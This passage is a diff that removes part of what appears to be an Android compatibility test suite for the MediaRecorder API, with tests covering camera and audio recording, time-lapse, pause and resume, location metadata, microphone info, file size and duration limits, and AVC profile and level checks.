-        mMediaRecorder.setVideoSize(width, height);
-        mMediaRecorder.setVideoEncodingBitRate(VIDEO_BIT_RATE_IN_BPS);
-        mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
-        mMediaRecorder.prepare();
-        mMediaRecorder.start();
-        Thread.sleep(RECORD_TIME_MS);
-
-        // verify some getMetrics() behaviors while we're here.
-        PersistableBundle metrics = mMediaRecorder.getMetrics();
-        if (metrics == null) {
-            fail("MediaRecorder.getMetrics() returned null metrics");
-        } else if (metrics.isEmpty()) {
-            fail("MediaRecorder.getMetrics() returned empty metrics");
-        } else {
-            int size = metrics.size();
-            Set<String> keys = metrics.keySet();
-
-            if (size == 0) {
-                fail("MediaRecorder.getMetrics().size() reports empty record");
-            }
-
-            if (keys == null) {
-                fail("MediaMetricsSet returned no keys");
-            } else if (keys.size() != size) {
-                fail("MediaMetricsSet.keys().size() mismatch MediaMetricsSet.size()");
-            }
-
-            // ensure existence of some known fields
-            int videoBitRate = metrics.getInt(MediaRecorder.MetricsConstants.VIDEO_BITRATE, -1);
-            if (videoBitRate != VIDEO_BIT_RATE_IN_BPS) {
-                fail("getMetrics() videoEncodeBitrate set " +
-                     VIDEO_BIT_RATE_IN_BPS + " got " + videoBitRate);
-            }
-
-            // valid values are -1.0 and >= 0;
-            // tolerate some floating point rounding variability
-            double captureFrameRate = metrics.getDouble(MediaRecorder.MetricsConstants.CAPTURE_FPS, -2);
-            if (captureFrameRate < 0.) {
-                assertEquals("getMetrics() capture framerate=" + captureFrameRate, -1.0, captureFrameRate, 0.001);
-            }
-        }
-
-        mMediaRecorder.stop();
-        checkOutputExist();
-    }
-
-    @UiThreadTest
-    public void testSetCamera() throws Exception {
-        recordVideoUsingCamera(false, false);
-    }
-
-    public void testRecorderTimelapsedVideo() throws Exception {
-        recordVideoUsingCamera(true, false);
-    }
-
-    public void testRecorderPauseResume() throws Exception {
-        recordVideoUsingCamera(false, true);
-    }
-
-    public void testRecorderPauseResumeOnTimeLapse() throws Exception {
-        recordVideoUsingCamera(true, true);
-    }
-
-    private void recordVideoUsingCamera(boolean timelapse, boolean pause) throws Exception {
-        int nCamera = Camera.getNumberOfCameras();
-        int durMs = timelapse? RECORD_TIME_LAPSE_MS: RECORD_TIME_MS;
-        for (int cameraId = 0; cameraId < nCamera; cameraId++) {
-            mCamera = Camera.open(cameraId);
-            setSupportedResolution(mCamera);
-            recordVideoUsingCamera(mCamera, OUTPUT_PATH, durMs, timelapse, pause);
-            mCamera.release();
-            mCamera = null;
-            assertTrue(checkLocationInFile(OUTPUT_PATH));
-        }
-    }
-
-    private void setSupportedResolution(Camera camera) {
-        Camera.Parameters parameters = camera.getParameters();
-        List<Camera.Size> videoSizes = parameters.getSupportedVideoSizes();
-        // getSupportedVideoSizes returns null when separate video/preview size
-        // is not supported.
-        if (videoSizes == null) {
-            videoSizes = parameters.getSupportedPreviewSizes();
-        }
-        int minVideoWidth = Integer.MAX_VALUE;
-        int minVideoHeight = Integer.MAX_VALUE;
-        for (Camera.Size size : videoSizes)
-        {
-            if (size.width == VIDEO_WIDTH && size.height == VIDEO_HEIGHT) {
-                mVideoWidth = VIDEO_WIDTH;
-                mVideoHeight = VIDEO_HEIGHT;
-                return;
-            }
-            if (size.width < minVideoWidth || size.height < minVideoHeight) {
-                minVideoWidth = size.width;
-                minVideoHeight = size.height;
-            }
-        }
-        // Use minimum resolution to avoid that one frame size exceeds file size limit.
-        mVideoWidth = minVideoWidth;
-        mVideoHeight = minVideoHeight;
-    }
-
-    private void recordVideoUsingCamera(
-            Camera camera, String fileName, int durMs, boolean timelapse, boolean pause)
-        throws Exception {
-        // FIXME:
-        // We should add some test case to use Camera.Parameters.getPreviewFpsRange()
-        // to get the supported video frame rate range.
-        Camera.Parameters params = camera.getParameters();
-        int frameRate = params.getPreviewFrameRate();
-
-        camera.unlock();
-        mMediaRecorder.setCamera(camera);
-        mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
-        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.DEFAULT);
-        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
-        mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.DEFAULT);
-        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
-        mMediaRecorder.setVideoFrameRate(frameRate);
-        mMediaRecorder.setVideoSize(mVideoWidth, mVideoHeight);
-        mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
-        mMediaRecorder.setOutputFile(fileName);
-        mMediaRecorder.setLocation(LATITUDE, LONGITUDE);
-        final double captureRate = VIDEO_TIMELAPSE_CAPTURE_RATE_FPS;
-        if (timelapse) {
-            mMediaRecorder.setCaptureRate(captureRate);
-        }
-
-        mMediaRecorder.prepare();
-        mMediaRecorder.start();
-        if (pause) {
-            Thread.sleep(durMs / 2);
-            mMediaRecorder.pause();
-            Thread.sleep(durMs / 2);
-            mMediaRecorder.resume();
-            Thread.sleep(durMs / 2);
-        } else {
-            Thread.sleep(durMs);
-        }
-        mMediaRecorder.stop();
-        assertTrue(mOutFile.exists());
-
-        int targetDurMs = timelapse? ((int) (durMs * (captureRate / frameRate))): durMs;
-        boolean hasVideo = true;
-        boolean hasAudio = timelapse? false: true;
-        checkTracksAndDuration(targetDurMs, hasVideo, hasAudio, fileName, frameRate);
-    }
-
-    private void checkTracksAndDuration(
-            int targetMs, boolean hasVideo, boolean hasAudio, String fileName,
-            float frameRate) throws Exception {
-        MediaMetadataRetriever retriever = new MediaMetadataRetriever();
-        retriever.setDataSource(fileName);
-        String hasVideoStr = retriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_HAS_VIDEO);
-        String hasAudioStr = retriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_HAS_AUDIO);
-        assertTrue(hasVideo? hasVideoStr != null : hasVideoStr == null);
-        assertTrue(hasAudio? hasAudioStr != null : hasAudioStr == null);
-        // FIXME:
-        // If we could use fixed frame rate for video recording, we could also do more accurate
-        // check on the duration.
-        String durStr = retriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_DURATION);
-        assertTrue(durStr != null);
-        int duration = Integer.parseInt(durStr);
-        assertTrue("duration is non-positive: dur = " + duration, duration > 0);
-        if (targetMs != 0) {
-            float toleranceMs = RECORDED_DUR_TOLERANCE_FRAMES * (1000f / frameRate);
-            assertTrue(String.format("duration is too large: dur = %d, target = %d, tolerance = %f",
-                        duration, targetMs, toleranceMs),
-                    duration <= targetMs + toleranceMs);
-        }
-
-        retriever.release();
-        retriever = null;
-    }
-
-    private boolean checkLocationInFile(String fileName) {
-        MediaMetadataRetriever retriever = new MediaMetadataRetriever();
-        retriever.setDataSource(fileName);
-        String location = retriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION);
-        if (location == null) {
-            retriever.release();
-            Log.v(TAG, "No location information found in file " + fileName);
-            return false;
-        }
-
-        // parsing String location and recover the location inforamtion in floats
-        // Make sure the tolerance is very small - due to rounding errors?.
-        Log.v(TAG, "location: " + location);
-
-        // Trim the trailing slash, if any.
-        int lastIndex = location.lastIndexOf('/');
-        if (lastIndex != -1) {
-            location = location.substring(0, lastIndex);
-        }
-
-        // Get the position of the -/+ sign in location String, which indicates
-        // the beginning of the longtitude.
-        int index = location.lastIndexOf('-');
-        if (index == -1) {
-            index = location.lastIndexOf('+');
-        }
-        assertTrue("+ or - is not found", index != -1);
-        assertTrue("+ or - is only found at the beginning", index != 0);
-        float latitude = Float.parseFloat(location.substring(0, index));
-        float longitude = Float.parseFloat(location.substring(index));
-        assertTrue("Incorrect latitude: " + latitude, Math.abs(latitude - LATITUDE) <= TOLERANCE);
-        assertTrue("Incorrect longitude: " + longitude, Math.abs(longitude - LONGITUDE) <= TOLERANCE);
-        retriever.release();
-        return true;
-    }
-
-    private void checkOutputExist() {
-        assertTrue(mOutFile.exists());
-        assertTrue(mOutFile.length() > 0);
-        assertTrue(mOutFile.delete());
-    }
-
-    public void testRecorderVideo() throws Exception {
-        if (!hasCamera()) {
-            MediaUtils.skipTest("no camera");
-            return;
-        }
-        mCamera = Camera.open(0);
-        setSupportedResolution(mCamera);
-        mCamera.unlock();
-
-        mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
-        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
-        mMediaRecorder.setOutputFile(OUTPUT_PATH2);
-        mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.DEFAULT);
-        mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
-        mMediaRecorder.setVideoSize(mVideoWidth, mVideoHeight);
-
-        FileOutputStream fos = new FileOutputStream(OUTPUT_PATH2);
-        FileDescriptor fd = fos.getFD();
-        mMediaRecorder.setOutputFile(fd);
-        long maxFileSize = MAX_FILE_SIZE * 10;
-        recordMedia(maxFileSize, mOutFile2);
-        assertFalse(checkLocationInFile(OUTPUT_PATH2));
-        fos.close();
-    }
-
-    public void testSetOutputFile() throws Exception {
-        if (!hasCamera()) {
-            MediaUtils.skipTest("no camera");
-            return;
-        }
-
-        int width;
-        int height;
-
-        mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
-        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
-        mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.DEFAULT);
-        mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
-        // Try to get camera profile for QUALITY_LOW; if unavailable,
-        // set the video size to default value.
-        CamcorderProfile profile = CamcorderProfile.get(
-                0 /* cameraId */, CamcorderProfile.QUALITY_LOW);
-        if (profile != null) {
-            width = profile.videoFrameWidth;
-            height = profile.videoFrameHeight;
-        } else {
-            width = VIDEO_WIDTH;
-            height = VIDEO_HEIGHT;
-        }
-        mMediaRecorder.setVideoSize(width, height);
-        mMediaRecorder.setOutputFile(mOutFile);
-        long maxFileSize = MAX_FILE_SIZE * 10;
-        recordMedia(maxFileSize, mOutFile);
-    }
-
-    public void testRecordingAudioInRawFormats() throws Exception {
-        int testsRun = 0;
-        if (hasAmrNb()) {
-            testsRun += testRecordAudioInRawFormat(
-                    MediaRecorder.OutputFormat.AMR_NB,
-                    MediaRecorder.AudioEncoder.AMR_NB);
-        }
-
-        if (hasAmrWb()) {
-            testsRun += testRecordAudioInRawFormat(
-                    MediaRecorder.OutputFormat.AMR_WB,
-                    MediaRecorder.AudioEncoder.AMR_WB);
-        }
-
-        if (hasAac()) {
-            testsRun += testRecordAudioInRawFormat(
-                    MediaRecorder.OutputFormat.AAC_ADTS,
-                    MediaRecorder.AudioEncoder.AAC);
-        }
-        if (testsRun == 0) {
-            MediaUtils.skipTest("no audio codecs or microphone");
-        }
-    }
-
-    private int testRecordAudioInRawFormat(
-            int fileFormat, int codec) throws Exception {
-        if (!hasMicrophone()) {
-            return 0; // skip
-        }
-        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
-        mMediaRecorder.setOutputFormat(fileFormat);
-        mMediaRecorder.setOutputFile(OUTPUT_PATH);
-        mMediaRecorder.setAudioEncoder(codec);
-        recordMedia(MAX_FILE_SIZE, mOutFile);
-        return 1;
-    }
-
-    private void configureDefaultMediaRecorder() {
-        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
-        mMediaRecorder.setAudioChannels(AUDIO_NUM_CHANNELS);
-        mMediaRecorder.setAudioSamplingRate(AUDIO_SAMPLE_RATE_HZ);
-        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
-        mMediaRecorder.setOutputFile(OUTPUT_PATH);
-        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
-        mMediaRecorder.setMaxFileSize(MAX_FILE_SIZE * 10);
-    }
-
-    @CddTest(requirement="5.4.1/C-1-4")
-    public void testGetActiveMicrophones() throws Exception {
-        if (!hasMicrophone() || !hasAac()) {
-            MediaUtils.skipTest("no audio codecs or microphone");
-            return;
-        }
-        configureDefaultMediaRecorder();
-        mMediaRecorder.prepare();
-        mMediaRecorder.start();
-        Thread.sleep(1000);
-        List<MicrophoneInfo> activeMicrophones = mMediaRecorder.getActiveMicrophones();
-        assertTrue(activeMicrophones.size() > 0);
-        for (MicrophoneInfo activeMicrophone : activeMicrophones) {
-            printMicrophoneInfo(activeMicrophone);
-        }
-        mMediaRecorder.stop();
-    }
-
-    private void printMicrophoneInfo(MicrophoneInfo microphone) {
-        Log.i(TAG, "deviceId:" + microphone.getDescription());
-        Log.i(TAG, "portId:" + microphone.getId());
-        Log.i(TAG, "type:" + microphone.getType());
-        Log.i(TAG, "address:" + microphone.getAddress());
-        Log.i(TAG, "deviceLocation:" + microphone.getLocation());
-        Log.i(TAG, "deviceGroup:" + microphone.getGroup()
-            + " index:" + microphone.getIndexInTheGroup());
-        MicrophoneInfo.Coordinate3F position = microphone.getPosition();
-        Log.i(TAG, "position:" + position.x + "," + position.y + "," + position.z);
-        MicrophoneInfo.Coordinate3F orientation = microphone.getOrientation();
-        Log.i(TAG, "orientation:" + orientation.x + "," + orientation.y + "," + orientation.z);
-        Log.i(TAG, "frequencyResponse:" + microphone.getFrequencyResponse());
-        Log.i(TAG, "channelMapping:" + microphone.getChannelMapping());
-        Log.i(TAG, "sensitivity:" + microphone.getSensitivity());
-        Log.i(TAG, "max spl:" + microphone.getMaxSpl());
-        Log.i(TAG, "min spl:" + microphone.getMinSpl());
-        Log.i(TAG, "directionality:" + microphone.getDirectionality());
-        Log.i(TAG, "******");
-    }
-
-    public void testRecordAudioFromAudioSourceUnprocessed() throws Exception {
-        if (!hasMicrophone() || !hasAmrNb()) {
-            MediaUtils.skipTest("no audio codecs or microphone");
-            return;
-        }
-        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.UNPROCESSED);
-        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
-        mMediaRecorder.setOutputFile(OUTPUT_PATH);
-        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
-        recordMedia(MAX_FILE_SIZE, mOutFile);
-    }
-
-    public void testGetAudioSourceMax() throws Exception {
-        final int max = MediaRecorder.getAudioSourceMax();
-        assertTrue(MediaRecorder.AudioSource.DEFAULT <= max);
-        assertTrue(MediaRecorder.AudioSource.MIC <= max);
-        assertTrue(MediaRecorder.AudioSource.CAMCORDER <= max);
-        assertTrue(MediaRecorder.AudioSource.VOICE_CALL <= max);
-        assertTrue(MediaRecorder.AudioSource.VOICE_COMMUNICATION <= max);
-        assertTrue(MediaRecorder.AudioSource.VOICE_DOWNLINK <= max);
-        assertTrue(MediaRecorder.AudioSource.VOICE_RECOGNITION <= max);
-        assertTrue(MediaRecorder.AudioSource.VOICE_UPLINK <= max);
-        assertTrue(MediaRecorder.AudioSource.UNPROCESSED <= max);
-        assertTrue(MediaRecorder.AudioSource.VOICE_PERFORMANCE <= max);
-    }
-
-    public void testRecorderAudio() throws Exception {
-        if (!hasMicrophone() || !hasAac()) {
-            MediaUtils.skipTest("no audio codecs or microphone");
-            return;
-        }
-        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
-        assertEquals(0, mMediaRecorder.getMaxAmplitude());
-        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
-        mMediaRecorder.setOutputFile(OUTPUT_PATH);
-        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
-        mMediaRecorder.setAudioChannels(AUDIO_NUM_CHANNELS);
-        mMediaRecorder.setAudioSamplingRate(AUDIO_SAMPLE_RATE_HZ);
-        mMediaRecorder.setAudioEncodingBitRate(AUDIO_BIT_RATE_IN_BPS);
-        recordMedia(MAX_FILE_SIZE, mOutFile);
-    }
-
-    public void testOnInfoListener() throws Exception {
-        if (!hasMicrophone() || !hasAac()) {
-            MediaUtils.skipTest("no audio codecs or microphone");
-            return;
-        }
-        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
-        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
-        mMediaRecorder.setMaxDuration(MAX_DURATION_MSEC);
-        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
-        mMediaRecorder.prepare();
-        mMediaRecorder.start();
-        Thread.sleep(RECORD_TIME_MS);
-        assertTrue(mOnInfoCalled);
-    }
-
-    public void testSetMaxDuration() throws Exception {
-        if (!hasMicrophone() || !hasAac()) {
-            MediaUtils.skipTest("no audio codecs or microphone");
-            return;
-        }
-        testSetMaxDuration(RECORD_TIME_LONG_MS, RECORDED_DUR_TOLERANCE_MS);
-    }
-
-    private void testSetMaxDuration(long durationMs, long toleranceMs) throws Exception {
-        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
-        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
-        mMediaRecorder.setMaxDuration((int)durationMs);
-        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
-        mMediaRecorder.prepare();
-        mMediaRecorder.start();
-        long startTimeMs = System.currentTimeMillis();
-        if (!mMaxDurationCond.block(durationMs + toleranceMs)) {
-            fail("timed out waiting for MEDIA_RECORDER_INFO_MAX_DURATION_REACHED");
-        }
-        long endTimeMs = System.currentTimeMillis();
-        long actualDurationMs = endTimeMs - startTimeMs;
-        mMediaRecorder.stop();
-        checkRecordedTime(durationMs, actualDurationMs, toleranceMs);
-    }
-
-    private void checkRecordedTime(long expectedMs, long actualMs, long tolerance) {
-        assertEquals(expectedMs, actualMs, tolerance);
-        long actualFileDurationMs = getRecordedFileDurationMs(OUTPUT_PATH);
-        assertEquals(actualFileDurationMs, actualMs, tolerance);
-    }
-
-    private int getRecordedFileDurationMs(final String fileName) {
-        MediaMetadataRetriever retriever = new MediaMetadataRetriever();
-        retriever.setDataSource(fileName);
-        String durationStr = retriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_DURATION);
-        assertNotNull(durationStr);
-        return Integer.parseInt(durationStr);
-    }
-
-    public void testSetMaxFileSize() throws Exception {
-        testSetMaxFileSize(512 * 1024, 50 * 1024);
-    }
-
-    private void testSetMaxFileSize(
-            long fileSize, long tolerance) throws Exception {
-        if (!hasMicrophone() || !hasCamera() || !hasAmrNb() || !hasH264()) {
-            MediaUtils.skipTest("no microphone, camera, or codecs");
-            return;
-        }
-        mCamera = Camera.open(0);
-        setSupportedResolution(mCamera);
-        mCamera.unlock();
-
-        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
-        mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
-        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
-        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
-        mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
-        mMediaRecorder.setVideoSize(mVideoWidth, mVideoHeight);
-        mMediaRecorder.setVideoEncodingBitRate(256000);
-        mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
-        mMediaRecorder.setMaxFileSize(fileSize);
-        mMediaRecorder.prepare();
-        mMediaRecorder.start();
-
-        // Recording a scene with moving objects would greatly help reduce
-        // the time for waiting.
-        if (!mMaxFileSizeCond.block(MAX_FILE_SIZE_TIMEOUT_MS)) {
-            fail("timed out waiting for MEDIA_RECORDER_INFO_MAX_FILESIZE_REACHED");
-        }
-        mMediaRecorder.stop();
-        checkOutputFileSize(OUTPUT_PATH, fileSize, tolerance);
-    }
-
-    /**
-     * Returns the first codec capable of encoding the specified MIME type, or null if no
-     * match was found.
-     */
-    private static CodecCapabilities getCapsForPreferredCodecForMediaType(String mimeType) {
-        // FIXME: select codecs based on the complete use-case, not just the mime
-        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-        for (MediaCodecInfo info : mcl.getCodecInfos()) {
-            if (!info.isEncoder()) {
-                continue;
-            }
-
-            String[] types = info.getSupportedTypes();
-            for (int j = 0; j < types.length; j++) {
-                if (types[j].equalsIgnoreCase(mimeType)) {
-                    return info.getCapabilitiesForType(mimeType);
-                }
-            }
-        }
-        return null;
-    }
-
-    /**
-     * Generates a frame of data using GL commands.
-     */
-    private void generateSurfaceFrame(int frameIndex, int width, int height) {
-        frameIndex %= 8;
-
-        int startX, startY;
-        if (frameIndex < 4) {
-            // (0,0) is bottom-left in GL
-            startX = frameIndex * (width / 4);
-            startY = height / 2;
-        } else {
-            startX = (7 - frameIndex) * (width / 4);
-            startY = 0;
-        }
-
-        GLES20.glDisable(GLES20.GL_SCISSOR_TEST);
-        GLES20.glClearColor(TEST_R0 / 255.0f, TEST_G0 / 255.0f, TEST_B0 / 255.0f, 1.0f);
-        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
-        GLES20.glEnable(GLES20.GL_SCISSOR_TEST);
-        GLES20.glScissor(startX, startY, width / 4, height / 2);
-        GLES20.glClearColor(TEST_R1 / 255.0f, TEST_G1 / 255.0f, TEST_B1 / 255.0f, 1.0f);
-        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
-    }
-
-    /**
-     * Generates the presentation time for frame N, in microseconds.
-     */
-    private static long computePresentationTime(
-            long startTimeOffset, int frameIndex, int frameRate) {
-        return startTimeOffset + frameIndex * 1000000 / frameRate;
-    }
-
-    private int testLevel(String mediaType, int width, int height, int framerate, int bitrate,
-            int profile, int requestedLevel, int... expectedLevels) throws Exception {
-        CodecCapabilities cap = getCapsForPreferredCodecForMediaType(mediaType);
-        if (cap == null) { // not supported
-            return 0;
-        }
-        MediaCodecInfo.VideoCapabilities vCap = cap.getVideoCapabilities();
-        if (!vCap.areSizeAndRateSupported(width, height, framerate)
-            || !vCap.getBitrateRange().contains(bitrate * 1000)) {
-            Log.i(TAG, "Skip the test");
-            return 0;
-        }
-
-        Surface surface = MediaCodec.createPersistentInputSurface();
-        if (surface == null) {
-            return 0;
-        }
-        InputSurface encSurface = new InputSurface(surface);
-        mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
-        mMediaRecorder.setInputSurface(encSurface.getSurface());
-        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
-        mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
-        mMediaRecorder.setOutputFile(mOutFile);
-
-        try {
-            mMediaRecorder.setVideoEncodingProfileLevel(-1, requestedLevel);
-            fail("Expect IllegalArgumentException.");
-        } catch (IllegalArgumentException e) {
-            // Expect exception.
-        }
-        try {
-            mMediaRecorder.setVideoEncodingProfileLevel(profile, -1);
-            fail("Expect IllegalArgumentException.");
-        } catch (IllegalArgumentException e) {
-            // Expect exception.
-        }
-
-        mMediaRecorder.setVideoEncodingProfileLevel(profile, requestedLevel);
-        mMediaRecorder.setVideoSize(width, height);
-        mMediaRecorder.setVideoEncodingBitRate(bitrate * 1000);
-        mMediaRecorder.setVideoFrameRate(framerate);
-        mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
-        mMediaRecorder.prepare();
-        encSurface.updateSize(width, height);
-        mMediaRecorder.start();
-
-
-        long startNsec = System.nanoTime();
-        long startTimeOffset =  3000 / framerate;
-        for (int i = 0; i < NUM_FRAMES; i++) {
-            encSurface.makeCurrent();
-            generateSurfaceFrame(i, width, height);
-            long time = startNsec +
-                    computePresentationTime(startTimeOffset, i, framerate) * 1000;
-            encSurface.setPresentationTime(time);
-            encSurface.swapBuffers();
-        }
-
-        mMediaRecorder.stop();
-
-        assertTrue(mOutFile.exists());
-        assertTrue(mOutFile.length() > 0);
-
-        // Verify the recorded file profile/level,
-        MediaExtractor ex = new MediaExtractor();
-        ex.setDataSource(OUTPUT_PATH);
-        for (int i = 0; i < ex.getTrackCount(); i++) {
-            MediaFormat format = ex.getTrackFormat(i);
-            String mime = format.getString(MediaFormat.KEY_MIME);
-            if (mime.startsWith("video/")) {
-                int finalProfile = format.getInteger(MediaFormat.KEY_PROFILE);
-                if (!(finalProfile == profile ||
-                        (mediaType.equals(AVC)
-                                && profile == AVCProfileBaseline
-                                && finalProfile == AVCProfileConstrainedBaseline) ||
-                        (mediaType.equals(AVC)
-                                && profile == AVCProfileHigh
-                                && finalProfile == AVCProfileConstrainedHigh))) {
-                    fail("Incorrect profile: " + finalProfile + " Expected: " + profile);
-                }
-                int finalLevel = format.getInteger(MediaFormat.KEY_LEVEL);
-                boolean match = false;
-                String expectLvls = new String();
-                for (int level : expectedLevels) {
-                    expectLvls += level;
-                    if (finalLevel == level) {
-                        match = true;
-                        break;
-                    }
-                }
-                if (!match) {
-                    fail("Incorrect Level: " + finalLevel + " Expected: " + expectLvls);
-                }
-            }
-        }
-        mOutFile.delete();
-        if (encSurface != null) {
-            encSurface.release();
-            encSurface = null;
-        }
-        return 1;
-    }
-
-    public void testProfileAvcBaselineLevel1() throws Exception {
-        int testsRun = 0;
-        int profile = AVCProfileBaseline;
-
-        if (!hasH264()) {
-            MediaUtils.skipTest("no Avc codecs");
-            return;
-        }
-
-        /*              W    H   fps kbps  profile  request level   expected levels */
-        testsRun += testLevel(AVC, 176, 144, 15, 64, profile, AVCLevel1, AVCLevel1);
-        // Enable them when vendor fixes the failure
-        //testLevel(AVC, 178, 144, 15, 64,   profile,  AVCLevel1, AVCLevel11);
-        //testLevel(AVC, 178, 146, 15, 64,   profile,  AVCLevel1, AVCLevel11);
-        //testLevel(AVC, 176, 144, 16, 64,   profile,  AVCLevel1, AVCLevel11);
-        //testLevel(AVC, 176, 144, 15, 65,   profile,  AVCLevel1, AVCLevel1b);
-        testsRun += testLevel(AVC, 176, 144, 15, 64, profile, AVCLevel1b, AVCLevel1, AVCLevel1b);
-        // testLevel(AVC, 176, 144, 15, 65,   profile,  AVCLevel2, AVCLevel1b,
-        //        AVCLevel11, AVCLevel12, AVCLevel13, AVCLevel2);
-        if (testsRun == 0) {
-            MediaUtils.skipTest("VideoCapabilities or surface not found");
-        }
-    }
-
-
-    public void testRecordExceedFileSizeLimit() throws Exception {
-        if (!hasMicrophone() || !hasCamera() || !hasAmrNb() || !hasH264()) {
-            MediaUtils.skipTest("no microphone, camera, or codecs");
-            return;
-        }
-        long fileSize = 128 * 1024;
-        long tolerance = 50 * 1024;
-        int width;
-        int height;
-        List<String> recordFileList = new ArrayList<String>();
-        mFileIndex = 0;
-
-        // Override the handler in setup for test.
-        mMediaRecorder.setOnInfoListener(new OnInfoListener() {
-            public void onInfo(MediaRecorder mr, int what, int extra) {
-                mOnInfoCalled = true;
-                if (what ==
-                    MediaRecorder.MEDIA_RECORDER_INFO_MAX_DURATION_REACHED) {
-                    Log.v(TAG, "max duration reached");
-                    mMaxDurationCond.open();
-                } else if (what ==
-                    MediaRecorder.MEDIA_RECORDER_INFO_MAX_FILESIZE_REACHED) {
-                    if (!mExpectMaxFileCond) {
-                        fail("Do not expect MEDIA_RECORDER_INFO_MAX_FILESIZE_REACHED");
-                    } else {
-                        Log.v(TAG, "max file size reached");
-                        mMaxFileSizeCond.open();
-                    }
-                } else if (what ==
-                    MediaRecorder.MEDIA_RECORDER_INFO_MAX_FILESIZE_APPROACHING) {
-                    Log.v(TAG, "max file size is approaching");
-                    mMaxFileSizeApproachingCond.open();
-
-                    // Test passing a read-only FileDescriptor and expect IOException.
-                    if (mFileIndex == 1) {
-                        RandomAccessFile file = null;
-                        try {
-                            String path = OUTPUT_PATH + '0';
-                            file = new RandomAccessFile(path, "r");
-                            mMediaRecorder.setNextOutputFile(file.getFD());
-                            fail("Expect IOException.");
-                        } catch (IOException e) {
-                            // Expected.
-                        } finally {
-                            try {
-                                file.close();
-                            } catch (IOException e) {
-                                fail("Fail to close file");
-                            }
-                        }
-                    }
-
-                    // Test passing a read-only FileDescriptor and expect IOException.
-                    if (mFileIndex == 2) {
-                        ParcelFileDescriptor out = null;
-                        String path = null;
-                        try {
-                            path = OUTPUT_PATH + '0';
-                            out = ParcelFileDescriptor.open(new File(path),
-                                    ParcelFileDescriptor.MODE_READ_ONLY | ParcelFileDescriptor.MODE_CREATE);
-                            mMediaRecorder.setNextOutputFile(out.getFileDescriptor());
-                            fail("Expect IOException.");
-                        } catch (IOException e) {
-                            // Expected.
-                        } finally {
-                            try {
-                                out.close();
-                            } catch (IOException e) {
-                                fail("Fail to close file");
-                            }
-                        }
-                    }
-
-                    // Test passing a write-only FileDescriptor and expect NO IOException.
-                    if (mFileIndex == 3) {
-                        try {
-                            ParcelFileDescriptor out = null;
-                            String path = OUTPUT_PATH + mFileIndex;
-                            out = ParcelFileDescriptor.open(new File(path),
-                                    ParcelFileDescriptor.MODE_WRITE_ONLY | ParcelFileDescriptor.MODE_CREATE);
-                            mMediaRecorder.setNextOutputFile(out.getFileDescriptor());
-                            out.close();
-                            recordFileList.add(path);
-                            mFileIndex++;
-                        } catch (IOException e) {
-                            fail("Fail to set next output file error: " + e);
-                        }
-                    } else if (mFileIndex < 6) {
-                        try {
-                            String path = OUTPUT_PATH + mFileIndex;
-                            File nextFile = new File(path);
-                            mMediaRecorder.setNextOutputFile(nextFile);
-                            recordFileList.add(path);
-                            mFileIndex++;
-                        } catch (IOException e) {
-                            fail("Fail to set next output file error: " + e);
-                        }
-                    }
-                } else if (what ==
-                    MediaRecorder.MEDIA_RECORDER_INFO_NEXT_OUTPUT_FILE_STARTED) {
-                    Log.v(TAG, "Next output file started");
-                    mNextOutputFileStartedCond.open();
-                }
-            }
-        });
-        mExpectMaxFileCond = false;
-        mMediaRecorder.setOutputFile(OUTPUT_PATH + mFileIndex);
